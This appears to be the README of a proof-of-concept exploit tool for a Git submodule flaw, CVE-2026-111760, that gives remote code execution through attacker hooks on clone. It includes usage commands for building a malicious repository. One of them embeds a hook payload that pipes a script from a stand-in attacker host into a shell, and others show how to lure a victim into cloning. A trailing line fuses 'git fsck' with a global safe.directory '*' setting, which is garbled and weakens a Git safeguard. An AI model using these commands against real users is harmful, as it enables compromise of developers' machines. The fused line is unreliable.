
PoC and exploit generator for CVE-2026-111760, a Git submodule index integer-truncation flaw that writes a symlinked .git directory and executes attacker hooks on clone.
LEGAL DISCLAIMER: This repository was created exclusively for educational and security research purposes. Using these tools against systems without prior express written authorization is illegal. The author is not responsible for any misuse of this material.
| Field | Detail |
|---|---|
| CVE | CVE-2026-111760 |
| Nickname | GitSymlink-RCE |
| Type | Integer truncation -> symlink write (CWE-190 / CWE-59) |
| CVSS | 8.0 High (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) |
| Component | Git - index path processing in submodules |
| Vectors | Cloning a malicious repository with --recurse-submodules |
| Authentication | Not required (social engineering required) |
| Affects | Git < 2.56.1 (backports: 2.55.1, 2.54.1, 2.53.1, ..., 2.48.2) |
| Fixed | Git 2.56.1 (November 2026) |
| Disclosed | November 2026 |
Integer truncation in Git's index path processing when
processing submodules with --recurse-submodules. A path with 260
characters has its size processed incorrectly: when stored
in a field of insufficient size (uint8), the value 260 truncates to 4,
which is exactly the length of .git.
As a result, the file with the long path is written to the filesystem
with the truncated name .git, replacing the git directory of the cloned
repository with a symlink pointing to a hooks directory controlled by the
attacker. On the next git operation (checkout, merge, pull), the malicious
hooks are executed with the user's privileges.
Atacante Vitima
| |
|-- Cria repo malicioso + submodulo -->|
| (index com caminho de 260 bytes) |
| |
|<-- Vitima clona com --recurse -------|
| |
| [Git processa index do submodulo] |
| [Caminho 260 trunca para 4 = .git] |
| [.git substituido por symlink] |
| [symlink -> diretorio de hooks] |
| |
|<-- git checkout executa post-checkout|
| [hook malicioso executa como user] |
# Checar versao instalada
python poc.py --check-git
# Analisar repositorio com submodulos
python poc.py --analyze /caminho/do/repo
# Criar repo malicioso com hooks e comando personalizado
python exploit.py --create-repo /tmp/evil --cmd "id > /tmp/pwned.txt"
# Especificar diretorio de hooks separado
python exploit.py --create-repo /tmp/evil --hooks-dir /tmp/evil-hooks --cmd "curl http://attacker.local/shell.sh | sh"
# Gerar apenas o index manipulado para analise
python exploit.py --gen-index /tmp/index-payload
# A vitima deve clonar o repositorio malicioso
git clone --recurse-submodules file:///tmp/evil victim-repo
# Ou via URL se o repo for hospedado
git clone --recurse-submodules https://evil-repo.example.com victim-repo
git fsckgit config --global safe.directory '*'| Series | Fixed Version |
|---|---|
| 2.56.x | 2.56.1 |
| 2.55.x | 2.55.1 |
| 2.54.x | 2.54.1 |
| 2.53.x | 2.53.1 |
| 2.52.x | 2.52.1 |
| 2.51.x | 2.51.1 |
| 2.50.x | 2.50.2 |
| 2.49.x | 2.49.1 |
| 2.48.x | 2.48.2 |
By Gh0st-Bx1 | https://github.com/Ghost-Bx1